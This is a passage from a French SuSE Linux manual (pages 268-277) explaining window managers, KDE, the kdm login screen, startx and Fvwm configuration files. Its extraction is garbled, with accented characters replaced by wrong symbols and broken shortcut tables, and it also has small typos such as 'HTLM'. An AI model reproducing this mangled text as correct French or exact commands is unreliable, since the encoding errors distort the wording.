  17419.                            |  contenues dans ce chapitre se rapporte α Fvwm2  ou α KDE . Si vous Ωtes                              *
  17420.  *        |||
  17421.                            |                                                                                                       *
  17422.  *        |||
  17423.                            |  encore indΘcis, choisissez tout simplement l'un des deux !                                           *
  17424.  *        |||
  17425.                            |_______________________________________________________________________________________________________*
  17426.  *________|||_
  17427.  
  17428.                            9.1.2      De quoi s'occupe un gestionnaire de fenΩtres ?
  17429.  
  17430.                            Voici  maintenant  une  brΦve  ΘnumΘration  (incomplΦte)  de  ce  que  l'on  peut
  17431.                            modifier, par la configuration d'un gestionnaire de fenΩtres, dans le compor-
  17432.                            tement et l'aspect du bureau :
  17433.  
  17434.  
  17435. 268
  17436.        _________________________________________________________9.1.__ThΘorie_de_l'interface_utilisateur_graphique_________________*
  17437.  *______________________
  17438.  
  17439.  
  17440.  
  17441.   ~   Aspect des fenΩtres
  17442.       ~   Largeur, couleur et effet 3D de la bordure
  17443.  
  17444.       ~   ╔lΘments de contr⌠le utilisΘs pour le dΘplacement ou l'agrandissement
  17445.           de la fenΩtre (ce que l'on appelle la dΘcoration des fenΩtres), les lignes
  17446.           de titres et les polices de caractΦres
  17447.  
  17448.   ~   Superposition de fenΩtres
  17449.  
  17450.       ~   Comportement d'ΘlΘvation, par exemple auto-ΘlΘvation (mise en avant-
  17451.           plan automatique)
  17452.  
  17453.       ~   Clouage de fenΩtres
  17454.  
  17455.   ~   Donner le focus α une fenΩtre
  17456.  
  17457.       ~   en cliquant
  17458.  
  17459.       ~   en ``touchant'' avec le pointeur de la souris
  17460.  
  17461.   ~   Menus contextuels (pop-up)
  17462.  
  17463.       ~   Aspect des menus (couleur, polices de caractΦres)
  17464.  
  17465.       ~   Comportement des menus, sous-menus
  17466.  
  17467.   ~   Fond d'Θcran
  17468.  
  17469.   ~   ╔cran virtuel (plusieurs bureaux/Θcrans)
  17470.  
  17471.   ~   Gestion d'ic⌠nes
  17472.  
  17473.   ~   Associer des sons aux Θvenements sur le bureau
  17474.  
  17475.  
  17476. Seuls quelques gestionnaires de fenΩtres disposent d'un programme de confi-
  17477. guration graphique intuitif permettant de paramΘtrer et de gΘrer les fonctions
  17478. que nous venons d'ΘnumΘrer. Ce sont par exemple KDE , GNOME , Window-
  17479. Maker et Enlightenment .
  17480.  
  17481. La plupart des configurations se font au moyen d'un ou de plusieurs fichiers
  17482. de configuration. On peut alors rΘgler les paramΦtres α l'aide de commandes
  17483. plus ou moins mnΘmotechniques. L'expΘrience a dΘmontrΘ que l'on s'habi-
  17484. tue  trΦs  vite  α  un  gestionnaire  de  fenΩtres  et  α  la  maniΦre  de  le  configurer.
  17485. En outre, l'utilisateur ne configure en gΘnΘral son ``gestionnaire de fenΩtres
  17486. favori'' qu'au dΘbut et travaille ensuite avec celui-ci tout le reste du temps.
  17487.  
  17488.  
  17489. 9.1.3      DΘmarrage de diffΘrents gestionnaires de fenΩtres
  17490.  
  17491. Pour le lancement des diffΘrents gestionnaires de fenΩtres, il existe sous SuSE
  17492. Linux plusieurs possibilitΘs qui dΘpendent de la maniΦre dont vous dΘmarrez
  17493. votre systΦme X Window.
  17494.  
  17495.  
  17496. DΘmarrage avec kdm
  17497.  
  17498. Si vous dΘmarrez le systΦme X Window avec KDM , vous pourrez choisir un
  17499. gestionnaire de fenΩtres dans le dialogue de login. kdm    enregistre pour chaque
  17500. utilisateur la derniΦre configuration. Plus de dΘtails α ce sujet au chapitre 9.2
  17501. page 271.
  17502.  
  17503.  
  17504.  
  17505.                                                                                                                                    *
  17506.  *   269
  17507. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17508.  *_______________________________________@
  17509.  
  17510.  
  17511.  
  17512.                            DΘmarrage avec xdm
  17513.                            Si vous utilisez XDM  α la place de KDM , vous devrez ~ ainsi qu'il est dΘcrit
  17514.  
  17515.                            ci-dessous ~ positionner la variable d'envrironnement WINDOWMANAGER dans
  17516.                            le fichier ~/.bashrc.
  17517.  
  17518.  
  17519.                            DΘmarrage avec startx
  17520.  
  17521.                            Si aprΦs l'amorτage vous ne faites pas dΘmarrer automatiquement le systΦme
  17522.                            X  Window,  vous  pouvez  dΘmarrer  un  gestionnaire  de  fenΩtres  dΘterminΘ  α
  17523.                            partir de la console texte en lanτant startx       avec un paramΦtre. Par exemple
  17524.                            par la commande :
  17525.  
  17526.                                  tux@terre:  >  startx  fvwm95
  17527.  
  17528.                            C'est ainsi que dΘmarre Fvwm95 . Comme paramΦtre, on utilise toujours ici
  17529.                            le nom de fichier du gestionnaire de fenΩtres. Cela fonctionne pour la plupart
  17530.                            des gestionnaires de fenΩtres qui vous sont fournis. On peut ajouter α cette
  17531.                            commande le paramΦtre concernant la profondeur de couleurs :
  17532.  
  17533.                                  tux@terre:  >  startx  afterstep  --  -bpp  16
  17534.  
  17535.                            Cette commande lance le systΦme X Window en mode 16 bits (65536 cou-
  17536.                            leurs) avec AfterStep comme gestionnaire de fenΩtres. Mais il est probable
  17537.                            que vous ayez dΘjα choisi cette profondeur de couleurs comme configuration
  17538.                            par dΘfaut au cours de l'installation. Voir le paragraphe 2.1.14 page 26 ainsi
  17539.                            que la page de man de startx       (man  startx        ).
  17540.  
  17541.  
  17542.                            La variable WINDOWMANAGER
  17543.  
  17544.                            AprΦs avoir choisi votre gestionnaire de fenΩtres, vous pouvez ajouter dans
  17545.                            le fichier ~/.bashrc du rΘpertoire HOME la ligne suivante ou, le cas ΘchΘant,
  17546.                            modifier une ligne dΘjα existante :
  17547.  
  17548.                                  export  WINDOWMANAGER=fvwm95
  17549.  
  17550.                            pour que Fvwm95  soit configurΘ comme gestionnaire de fenΩtres par dΘfaut.
  17551.                            Ici aussi, vous devez spΘcifier le nom du programme gestionnaire de fenΩtres
  17552.                            exΘcutable  et  vous  devez  toujours  ajouter  le  nom  du  chemin  d'accΦs  α  ce
  17553.                            fichier lorsque le nom du rΘpertoire correspondant n'est pas contenu dans la
  17554.                            variable d'environnement PATH.
  17555.  
  17556.                            Avec YaST , vous pouvez faire aussi cette entrΘe pour /etc/profile si vous
  17557.                            voulez  dΘterminer  le  gestionnaire  de  fenΩtres  pour  tous  les  utilisateurs  du
  17558.                            systΦme.  Voir  la  marche  α  suivre  au  paragraphe  3.6.6  page  110.  Veillez  α
  17559.                            ce que chaque utilisateur puisse inscrire cette configuration dans son propre
  17560.                            fichier ~/.bashrc.
  17561.  
  17562.  
  17563.                            Changer de gestionnaire de fenΩtres en cours de travail
  17564.  
  17565.                            Si vous utilisez SuSEwm , il est possible, avec quelques gestionnaires de fe-
  17566.                            nΩtres (tout particuliΦrement de la famille Fvwm ) d'effectuer un changement
  17567.                            pendant le fonctionnement du systΦme. Les fenΩtres dΘjα ouvertes ne sont pas
  17568.                            abandonnΘes et les processus qui tournent dans celles-ci ne sont donc pas an-
  17569.                            nulΘs. Dans certains gestionnaires de fenΩtres tels que Ctwm , kwm  (KDE )
  17570.                            ou CDE , cette fonction n'a pas ΘtΘ implΘmentΘe par les programmeurs. Pour
  17571.  
  17572.  
  17573. 270
  17574.        ________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________*
  17575.  *______________________
  17576.  
  17577.  
  17578.  
  17579. pouvoir malgrΘ tout basculer entre diffΘrents gestionnaires de fenΩtres, vous
  17580. pouvez avoir recours α SuSE      DyDe  (angl. SuSE     dynamic desktop). Si vous
  17581. souhaitez utiliser SuSE      DyDe , vous devez dΘfinir suse  comme gestionnaire
  17582. de fenΩtres ou le sΘlectionner en tant que tel dans dans KDM
  17583.  
  17584.  
  17585. 9.2       L'environnement de bureau KDE
  17586.  
  17587. Avec KDE , Linux dispose, pour un trΦs grand nombre d'applications, d'une
  17588. interface utilisateur graphique simple α configurer, de prΘsentation plaisante
  17589. et  homogΦne.  KDE  est  l'acronyme  de  ``K  Desktop  Environment''.  Il  est  le
  17590. projet d'un groupe de dΘveloppeurs qui depuis sa crΘation en automne 1996
  17591. ne cesse de s'accroεtre.
  17592.  
  17593. En  plus  de  son  propre  gestionnaire  de  fenΩtres  (kwm ),  KDE  offre  aussi,
  17594. comme ΘlΘment central, un navigateur WEB gestionnaire de fichiers (kfm ),
  17595. un systΦme d'aide global (kdehelp ) qui s'appuie sur des documents HTML,
  17596. des pages de man et des pages d'infos GNU. Il met aussi α disposition un trΦs
  17597. grand nombre d'applications plus ou moins Θtendues dont on a besoin pour
  17598. le travail quotidien (par exemple programme de messagerie, lecteur de news,
  17599. jeux, outils d'information systΦme etc.).
  17600.  
  17601. KDE  est  entiΦrement  basΘ  sur  les  +  URL  et  les  +  MIME.  Cela  signifie  que
  17602. toutes les spΘcifications de chemins d'accΦs et les rΘfΘrences aux fichiers sont
  17603. transmises et traitΘes dans un format unifiΘ avec indication du type de fichier
  17604. et  des  protocoles  de  transmission  (par  exemple  sous  forme  de  rΘfΘrence  α
  17605. une  page  HTLM  dans  le  systΦme  de  fichiers  local,  α  une  page  d'aide  ou  α
  17606. un serveur FTP). Il est en outre dΘfini, au moyen des ``types de MIME'', quels
  17607. programmes peuvent lire quels fichiers. Il est ainsi possible, indΘpendamment
  17608. du type et de la source des donnΘes, de lire celles-ci par un clic de souris et,
  17609. le cas ΘchΘant, de les modifier.
  17610.  
  17611. L'utilisateur  peut  en  outre  rΘaliser  bon  nombre  de  choses  par  la  mΘthode
  17612. ``glisser/dΘposer'' (angl. drag & drop), par exemple copier un fichier depuis
  17613. un serveur FTP vers le systΦme local.
  17614.  
  17615. Le  systΦme  d'aide  de  KDE  constitue  encore  un  point  en  plus.  Les  auteurs
  17616. d'applications KDE sont tenus de fournir au systΦme d'aide KDE leur docu-
  17617. mentation de programmes en HTLM. En plus des pages HTLM du systΦme
  17618. d'aide ~ qui peut Ωtre invoquΘ depuis la plupart des programmes au moyen
  17619. du bouton `Aide' ~ KDE vous propose aussi, sous forme de documents hy-
  17620. pertextes,  des  pages  de  man  UNIX  et  mΩme  des  pages  d'infos  GNU  dans
  17621. lesquelles vous pouvez ``butiner'' aisΘment.
  17622.  
  17623. La possibilitΘ de configurer les applications Θcrites sous KDE et mΩme KDE
  17624. lui-mΩme de faτon simple et homogΦne α l'aide d'un menu et de placer des
  17625. ic⌠nes sur le bureau vient encore s'ajouter α la liste dΘjα longue de toutes les
  17626. caractΘristiques attrayantes de KDE.
  17627.        _______________________________________________________________________________________________________________________||
  17628.  
  17629.        ||||||||  KDE est dΘveloppΘ α l'aide des widgets QT. De mΩme que Motif, QT est                           |||            |
  17630.        ||||||||  une sorte de bibliothΦque utilisΘe pour l'Θlaboration de programmes orien-                     ||             |
  17631.        ||||||||                                                                                                 ||             |
  17632.        ||||||||  tΘs interface sous le systΦme X Window. Il convient toutefois d'observer                       ||             |
  17633.        ||||||||  les termes de la licence QT divergente de la GPL (/usr/doc/packages/                           ||             |
  17634.        ||||||||                                                                                                 ||             |
  17635.        ||||||||  qt/LICENSE).                                                                                   ||             |
  17636.        ||||||||_______________________________________________________________________________________________________________||_
  17637.  
  17638.  
  17639.                                                                                                                                    *
  17640.  *   271
  17641. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17642.  *_______________________________________@
  17643.  
  17644.  
  17645.  
  17646.                            9.2.1      GΘnΘralitΘs
  17647.  
  17648.                            KDE  est  installΘ  par  dΘfaut  dans  le  rΘpertoire  /opt/kde.  Tous  les  fichiers
  17649.                            ayant un r⌠le α jouer dans KDE se trouvent dans une arborescence de rΘper-
  17650.                            toires situΘe au dessous de ce chemin d'accΦs. Pour qu'il soit plus facile de
  17651.                            parvenir α ce chemin, la variable d'environnement KDEDIR est positionnΘe,
  17652.                            au niveau systΦme, dans le fichier /etc/profile. AprΦs installation des pa-
  17653.                            quetages KDE, le rΘpertoire /opt/kde/bin est automatiquement placΘ dans
  17654.                            le chemin d'accΦs (PATH) pour fichiers exΘcutables.
  17655.  
  17656.                            L'arborescence des rΘpertoires KDE comprend de nombreux sous-rΘpertoires
  17657.                            dont seuls les plus importants sont dΘcrits dans le tableau 9.1.
  17658.  
  17659.                            ________________________________________________________________________________________________________*
  17660.  *________
  17661.  
  17662.  
  17663.                               /opt/kde/bin                                tous les programmes KDE (fichiers exΘcu-
  17664.                                                                           tables)
  17665.                               /opt/kde/share/config                       fichiers  de  configuration  au  niveau  sys-
  17666.                                                                           tΦme
  17667.                               /opt/kde/share/applnk                       liens de programmes (menu)
  17668.                               /opt/kde/share/apps                         fichiers concernant les programmes KDE
  17669.                               /opt/kde/share/doc                          les aides en ligne
  17670.                               /usr/doc/packages/kde                       informations complΘmentaires sur KDE
  17671.  
  17672.                            ________________________________________________________________________________________________________*
  17673.  *________
  17674.  
  17675.                                                       Tab. 9.1: KDE ~ rΘpertoires importants
  17676.  
  17677.  
  17678.                            Tous ceux qui dΘdaignent la souris trouveront dans le tableau 9.2 des combi-
  17679.                            naisons de touches qui leur seront utiles.
  17680.  
  17681.                            ________________________________________________________________________________________________________*
  17682.  *________
  17683.  
  17684.                               |____        ___
  17685.                                ____A|lt+_|F___|1_                                        Le menu K est ouvert.
  17686.                               |____A|lt+ |F___|2                                         Un champ d'entrΘe α usage uni-
  17687.  
  17688.                                                                                          versel  est  ouvert.  Vous  pouvez
  17689.                                                                                          ici  spΘcifier  des  URL,  des  rΘ-
  17690.                                                                                          pertoires   locaux   ou   des   pro-
  17691.                                                                                          grammes/commandes
  17692.                               |_____|Alt+ |F___|_3                                       La fenΩtre est fermΘe.
  17693.                               |____        ____
  17694.                                ____A|lt+ |T____a|b                                       Vous  pouvez  ici  basculer  entre
  17695.                                                                                          les fenΩtres du bureau actuel.
  17696.                               |_______|Ctrl+ |E_____|sc                                  Il apparaεt une vue d'ensemble
  17697.  
  17698.                                                                                          de la session avec affichage des
  17699.                                                                                          fenΩtres de tous les bureaux
  17700.                               |_______|Ctrl+ |F___|_1: :|:___|_F8                        Basculer  entre  les  bureaux  de
  17701.  
  17702.                                                                                          1 α 8.
  17703.  
  17704.                            ________________________________________________________________________________________________________*
  17705.  *________
  17706.  
  17707.                                            Tab. 9.2: KDE ~ combinaisons de touches importantes
  17708. 272
  17709.        ________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________*
  17710.  *______________________
  17711.  
  17712.  
  17713.  
  17714. 9.2.2      kdm ~ login graphique
  17715.  
  17716. Le gestionnaire d'Θcran KDM , qui accompagne les paquetages KDE, consti-
  17717. tue  une  extension  prΘcieuse  α  tout  systΦme  Linux  auquel  l'utilisateur  se
  17718. connecte en mode graphique. la figure 9.6 vous montre la configuration par
  17719. dΘfaut de KDM  sous SuSE     Linux.
  17720.                             Fig. 9.6: Le gestionnaire d'Θcran kdm
  17721.  
  17722.  
  17723.  
  17724. Avec les diffΘrents boutons, vous pouvez sΘlectionner le gestionnaire de fe-
  17725. nΩtres  (`Type  de  session')  que  vous  souhaitez  utiliser  ou  la  langue  du
  17726. menu (`Langue'). Une caractΘristique intΘressante, particuliΦrement pour or-
  17727. dinateurs monopostes, est la possibilitΘ d'arrΩter la machine α l'aide du bou-
  17728. ton `Shutdown' pour l'Θteindre ensuite. Voir le paragraphe 19.2 page 483.
  17729.  
  17730. KDM  offre  diverses  possibilitΘs  de  configuration.  Il  peut  Ωtre  configurΘ
  17731. soit directement au moyen d'un fichier de configuration /opt/kde/share/
  17732. config/kdmrc soit α l'aide d'un dialogue de configuration α partir du menu
  17733. KDE. Sous SuSE     Linux, il est Θgalement possible de configurer les gestion-
  17734. naires  de  fenΩtres  accessibles  et  de  lancer  KDM  trΦs  aisΘment  avec  YaST .
  17735. Voir le paragraphe 3.6.5 page 109.
  17736.  
  17737. Pour  cela,  il  est  nΘcessaire  de  positionner  dans  le  fichier  de  configuration
  17738. /etc/rc.config  les  deux  variables  DISPLAYMANAGER              et  KDM_SHUTDOWN          .
  17739. Ces variables sont dΘcrites α la page 460.
  17740.  
  17741. Les  valeurs  de  ces  variables  sont  insΘrΘes  par  SuSEconfig  dans  le  fichier
  17742. /opt/kde/share/config/kdmrc et sont disponibles lors du prochain lan-
  17743. cement de KDM ; redΘmarrez le cas ΘchΘant avec la combinaison de touches
  17744.  Ctrl  |||||||||___+ |A_____|lt+ | _____|7. !Au cas o∙ vous auriez configurΘ KDM pendant l'exΘcu-
  17745.  
  17746. tion du systΦme KDE et au moyen du centre de contr⌠le KDE, les variables
  17747. provenant de /etc/rc.config ne seront pas insΘrΘes automatiquement afin
  17748. d'Θviter que vos modifications soient effacΘes. Mais si vous voulez faire rΘa-
  17749. liser votre configuration au moyen de /etc/rc.config, il est indispensable
  17750. de renommer le fichier SuSEconfig.kdm  toujours crΘΘ par SuSEconfig.kdm
  17751.  
  17752.  
  17753.                                                                                                                                    *
  17754.  *   273
  17755. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17756.  *_______________________________________@
  17757.  
  17758.  
  17759.  
  17760.                            en lui donnant le nom kdmrc2 . Le fichier kdmrc sera alors nouvellement crΘΘ
  17761.                            α chaque fois.
  17762.  
  17763.  
  17764.                            9.2.3      Que possΦde donc KDE de si sensationnel ?
  17765.  
  17766.                            AprΦs avoir pu nous connecter confortablement en mode graphique α l'aide
  17767.                            de KDM , nous pensons qu'il est temps de nous pencher sur les particularitΘs
  17768.                            de  KDE.  Nous  allons  donc  dΘcrire  tout  simplement  ce  qui  se  passe  aprΦs
  17769.                            l'ouverture de la session (ou aprΦs le lancement de startx      ).
  17770.  
  17771.                            Quelques instants aprΦs votre premiΦre ouverture de session, vous voyez ap-
  17772.                            paraεtre des boεtes de dialogue qui vous font savoir qu'il manque diffΘrents
  17773.                            fichiers  et  rΘpertoires.  Ce  n'est  pas  une  erreur  mais  quelque  chose  de  lo-
  17774.                            gique.  KDE  crΘe  en  effet  ~  sur  le  modΦle  de  l'arborescence  sous  /opt/
  17775.                            kde  (tableau  9.1  page  272)  ~  quelques  rΘpertoires  et  fichiers  de  configura-
  17776.                            tion  dans  votre  rΘpertoire  personnel.  Ce  sont  les  rΘpertoires  HOME/.kde  et
  17777.                            HOME/Desktop. Le premier rΘpertoire sert α stocker les fichiers de configu-
  17778.                            ration des diffΘrentes applications KDE et le deuxiΦme α stocker des liens.
  17779.  
  17780.                            Vous pouvez,_en toute bonne conscience, valider le dialogue mentionnΘ, soit
  17781.                            avec |_____-|, soit α l'aide de la souris.
  17782.  
  17783.                            Ensuite kfm (K FileManager) est lancΘ. kfm est un ΘlΘment absolument fon-
  17784.                            damental de KDE. Ainsi que nous l'avons dΘjα dit au dΘbut de ce paragraphe,
  17785.                            kfm peut manipuler des types trΦs divers de fichiers puisque le traitement des
  17786.                            noms de fichiers se fait par le biais des URL. Que l'on copie un fichier comme
  17787.                            archive depuis le serveur FTP (prΘfixe URL htp:) ou comme fichier (prΘfixe
  17788.                            URL file:), qu'il s'agisse d'une page de man (prΘfixe URL man:), d'une
  17789.                            page  d'infos  GNU  (prΘfixe  URL  info:)  ou  d'une  page  HTLM  provenant
  17790.                            d'un serveur WWW (prΘfixe URL info:), tout est traitΘ et reprΘsentΘ de la
  17791.                            mΩme  maniΦre  par  KDE.  Il  est  mΩme  possible  de  visualiser  des  images  de
  17792.                            diffΘrents formats α l'aide d'un visualiseur externe. La figure 9.7 nous montre
  17793.                            une fenΩtre kfm typique.
  17794.  
  17795.  
  17796.  
  17797.                                                      Fig. 9.7: Le gestionnaire de fichiers kfm
  17798.  
  17799.  
  17800.                            Pour l'utilisateur, ces fonctions deviennent trΦs vite quelque chose qui va de
  17801.                            soi tout comme la simple copie de fichiers par un clic de souris. Nous tenons
  17802.                            _____________________________________________2
  17803.                              Les deux fichiers se trouvent dans le rΘpertoire /opt/kde/share/config
  17804.  
  17805.  
  17806. 274
  17807.        ________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________*
  17808.  *______________________
  17809.  
  17810.  
  17811.  
  17812. α mentionner ici qu'il suffit de cliquer avec le bouton droit de la souris sur
  17813. une ic⌠ne de fichier pour ouvrir un menu qui offre diffΘrentes possibilitΘs de
  17814. manipuler ce fichier, par exemple de dΘterminer ses propriΘtΘs ou celles du
  17815. programme.
  17816.  
  17817. Les propriΘtΘs d'un programme, par exemple les paramΦtres avec lesquels il
  17818. est  lancΘ,  l'ic⌠ne  qui  le  symbolise  sur  le  bureau  et  d'autres  choses  encore
  17819. sont insΘrΘs dans un fichier avec l'extension .kdelnk. La modification des
  17820. propriΘtΘs se fait par le biais d'un dialogue semblable α celui de la figure 9.8.
  17821. Ce fichier est disponible sous forme d'un fichier ASCII Θditable. Les fichiers
  17822. qui  se  trouvent  par  exemple  dans  ~/Desktop  ou  (au  niveau  systΦme)  dans
  17823. /opt/kde/share/applnk valent la peine qu'on y jette un coup d'oeil. Ils
  17824. sont symbolisΘs par les ic⌠nes reprΘsentΘes sur le bureau ou dans le menu. Ils
  17825. ont un format unifiΘ tout comme les autres fichiers de configuration KDE.
  17826.  
  17827.  
  17828.                             Fig. 9.8: Le dialogue sur les propriΘtΘs
  17829.  
  17830.  
  17831. Le  dernier  programme  qui  est  lancΘ  est  gΘnΘralement  la  barre  de  menus
  17832. KPanel .     Vous trouverez dans cette barre de menus les ΘlΘments de commande
  17833. nΘcessaires pour les diffΘrents Θcrans virtuels ainsi qu'un menu spΘcial (celui
  17834. avec un `K' majuscule) dans lequel se trouvent toutes les entrΘes de menus
  17835. KDE disponibles au niveau systΦme (voir les fichiers kdelnk!). Vous trou-
  17836.  
  17837.  
  17838.                                                                                                                                    *
  17839.  *   275
  17840. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17841.  *_______________________________________@
  17842.  
  17843.  
  17844.  
  17845.                            verez aussi dans ce menu la configuration du systΦme KDE effectuΘe α l'aide
  17846.                            du centre de contr⌠le KDE (figure 9.9) et celle de KPanel .
  17847.                                                              Fig. 9.9: Le centre de contr⌠le
  17848.  
  17849.  
  17850.                            Mais KPanel  ne s'arrΩte pas lα. Non seulement il est possible de placer par la
  17851.                            mΘthode ``glisser/dΘposer'' des ic⌠nes sur la barre de menus et de dΘmarrer α
  17852.                            partir de lα des applications, mais KPanel peut aussi ``avaler'' des programmes
  17853.                            en cours d'exΘcution. Les candidats possibles sont par exemple klipper (plu-
  17854.                            sieurs tampons pour ``couper/coller'') ou korn qui affiche le nombre de mails
  17855.                            qui se trouvent dans un fichier dΘterminΘ. Ils tournent alors au sein de KPanel
  17856.                            et sont ainsi ~ ce qui est essentiel ~ visibles sur tous les bureaux.
  17857.  
  17858.                            Une ΘnumΘration de tous les programmes KDE nous mΦnerait s√rement trop
  17859.                            loin et serait d'ailleurs presque impossible en raison de l'offre qui ne cesse
  17860.                            de s'accroεtre et de se modifier. Comme l'un des objectifs de l'Θquipe KDE
  17861.                            est de faciliter l'utilisation des ordinateurs, vous devriez tirer profit de cette
  17862.                            offre en parcourant le menu et en donnant un coup d'oeil α l'un ou α l'autre
  17863.                            des programmes.
  17864.  
  17865.                            Une aide pour la plupart des programmes vous est proposΘe par kdehelp que
  17866.                            vous pouvez facilement lancer α partir du menu que vous faites surgir par un
  17867.                            clic du bouton droit de la souris sur le fond d'Θcran (sans parler des autres
  17868.                            caractΘristiques intΘressantes de ce menu !)
  17869.  
  17870.                            Gardez  toutefois  prΘsent  α  l'esprit  que  plusieurs  des  paquetages  KDE  que
  17871.                            nous  vous  fournissons  sont  encore  au  stade  ALPHA.  Cela  signifie  qu'ils
  17872.                            peuvent  Ωtre  instables,  ne  pas  Ωtre  implΘmentΘs  complΦtement  et  qu'il  peut
  17873.                            se passer des choses Θtranges. Mais en gΘnΘral il ne se produit rien de plus
  17874.                            qu'un plantage du programme qui rend nΘcessaire un nouveau dΘmarrage.
  17875.  
  17876.  
  17877. 276
  17878.        __________________________________________________________________________________________________________________9.3.__Fvwm*
  17879.  *______________________
  17880.  
  17881.  
  17882.  
  17883. Le projet KDE met α votre disposition quelques listes de diffusion sur son site
  17884. (http://www.kde.org). Le serveur fournit un trΦs grand nombre d'informa-
  17885. tions sur KDE, sur ses objectifs et sur l'avancement de son dΘveloppement.
  17886.  
  17887. Pour  terminer,  nous  attirons  votre  attention  sur  notre  serveur  FTP  sur  le-
  17888. quel vous trouverez, sous ftp://ftp.suse.com/pub/SuSE-Linux/suse_
  17889. update/KDE des paquetages KDE qui ont ΘtΘ spΘcialement adaptΘs α SuSE
  17890. Linux.  Vous  pourrez,  avec  YaST ,  intΘgrer  facilement  ces  paquetages  dans
  17891. votre systΦme. Lisez aussi la documentation se rapportant α l'installation et α
  17892. l'utilisation de KDE dans votre SuSE     Linux.
  17893.  
  17894.  
  17895. 9.3       Fvwm
  17896.  
  17897.  
  17898. GΘnΘralitΘs
  17899.  
  17900. Nous  allons  maintenant  Θvoquer  Fvwm2  (fvwm2     ).  C'est  l'un  des  gestion-
  17901. naires de fenΩtres qui ouvrent le plus de perspectives sous Linux et qui conti-
  17902. nue encore α produire des rejetons ~ tout derniΦrement Scwm (scwm    ).
  17903.  
  17904. Outre ses fonctions habituelles pour la gestion des fenΩtres et de leur dΘcora-
  17905. tion, il offre des menus d'arriΦre-plan et des sous-programmes pouvant Ωtre
  17906. chargΘs  en  cours  d'exΘcution  du  systΦme  et  mettant  α  disposition  certaines
  17907. fonctions intΘressantes telles que par exemple une barre de boutons.
  17908.  
  17909. Vous  trouverez  des  informations  complΘmentaires  sur  l'appel  et  la  confi-
  17910. guration  de  Fvwm  et  de  ses  modules  dans  les  pages  de  man  qui  s'y  rap-
  17911. portent (page de man de fvwm2      (man  fvwm2       ), page de man de FvwmAudio
  17912. (man  FvwmAudio           ),  page  de  man  de  FvwmButtons            (man  FvwmButtons             ),
  17913. etc.) ou dans le rΘpertoire documentation /usr/doc/packages/fvwm dans
  17914. lequel on trouve aussi les fichiers de configuration exemples fournis avec le
  17915. paquetage.
  17916.  
  17917. Si vous ne voulez pas Θcrire un fichier de configuration en partant de zΘro,
  17918. vous pouvez en faire dresser la ``charpente'' par SuSEwm et la modifier selon
  17919. vos dΘsirs. SuSEwm est dΘcrit au paragraphe 9.5 page 282.
  17920.  
  17921.  
  17922. Fichiers de configuration de Fvwm
  17923.  
  17924. Il est possible de configurer Fvwm au moyen de deux fichiers :
  17925.  
  17926.   ~   Un  fichier  de  configuration  au  niveau  systΦme  qui  devrait  toujours  Ωtre
  17927.       prΘsent.  Ce  fichier  est  situΘ  dans  le  rΘpertoire  /usr/X11R6/lib/X11/
  17928.       fvwm2 sous le nom .fvwm2rc.
  17929.  
  17930.   ~   Un fichier propre α l'utilisateur qui n'est pas absolument indispensable. Il
  17931.       s'appelle aussi ~/.fvwm2rc et se trouve dans le rΘpertoire personnel de
  17932.       l'utilisateur concernΘ.
  17933.  
  17934. Le  paquetage  susewm  ~  que  nous  dΘcrirons  au  paragraphe  9.5  page  282  ~
  17935. garantit qu'un fichier de configuration sera toujours crΘΘ au niveau systΦme
  17936. pour Fvwm lors de l'installation d'un systΦme SuSE     Linux.
  17937.  
  17938. Fvwm lit les fichiers de configuration lorsqu'il dΘmarre. Un gestionnaire de
  17939. fenΩtres est lancΘ α partir du fichier /usr/X11R6/lib/X11/xinit/xinitrc
  17940. ou  du  fichier  ~/.xinitrc.  Pour  cela,  la  variable  WINDOWMANAGER  devrait
  17941.  
  17942.  
  17943.                                                                                                                                    *
  17944.  *   277
  17945. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  17946.  *_______________________________________@
  17947.  
  17948.  
  17949.  
  17950.                            Ωtre positionnΘe avec le nom complet du fichier exΘcutable du gestionnaire
  17951.                            de  fenΩtres  concernΘ,  par  exemple  /usr/X11R6/bin/fvwm.  Voir  aussi  la
  17952.                            page  270.  Il  tente  d'abord  de  lire  le  fichier  de  configuration  appartenant  α
  17953.                            l'utilisateur et ensuite, si un tel fichier n'existe pas, le fichier de configuration
  17954.                            spΘcifique au systΦme.
  17955.  
  17956.                            Les diffΘrents modules de Fvwm lisent Θgalement les mΩmes fichiers de confi-
  17957.                            guration  lorsqu'ils  sont  appelΘs.  Il  n'utilisent  cependant  que  les  parties  du
  17958.                            fichier de configuration qui se rapportent directement au module concernΘ.
  17959.  
  17960.                            Il est bien s√r recommandΘ α chaque utilisateur de crΘer son propre fichier de
  17961.                            configuration qu'il pourra modifier α son grΘ.
  17962.  
  17963.                            AprΦs avoir modifiΘ les fichiers de configuration, il est indispensable de redΘ-
  17964.                            marrer le gestionnaire de fenΩtres afin que les modifications soient prises en
  17965.                            compte.
  17966.  
  17967.                            Pour le redΘmarrage du gestionnaire de fenΩtres, il existe (dans la configura-
  17968.                            tion SuSE     prΘinstallΘe) une entrΘe dans le `Menu  de  travail' qui contient
  17969.                            le sous-menu `Gestionnaire  de  fenΩtres'. L'arrΩt et le redΘmarrage du
  17970.                            serveur X produit le mΩme effet.
  17971.  
  17972.  
  17973.  
  17974.                            9.4       Configuration de Fvwm
  17975.  
  17976.  
  17977.                            GΘnΘralitΘs
  17978.  
  17979.                            Parlons maintenant de votre fichier de configuration Fvwm personnel. Vous
  17980.                            devez bien s√r en avoir dΘjα crΘΘ un. Cette procΘdure est dΘcrite α la page 284.
  17981.                            Vous pouvez non seulement gΘnΘrer ce fichier α l'aide de susewm mais aussi
  17982.                            reprendre le fichier de configuration ~/.fvwm2rc du rΘpertoire /usr/doc/
  17983.                            packages/fvwm/system.fvwm2rc fourni par les programmeurs de Fvwm.
  17984.  
  17985.                            Chargez avec votre Θditeur favori le fichier ~/.fvwm2rc. Nous allons ensuite
  17986.                            voir de plus prΦs quelques possibilitΘs de configuration.
  17987.  
  17988.  
  17989.                            Que se passe-t-il au dΘmarrage de Fvwm ?
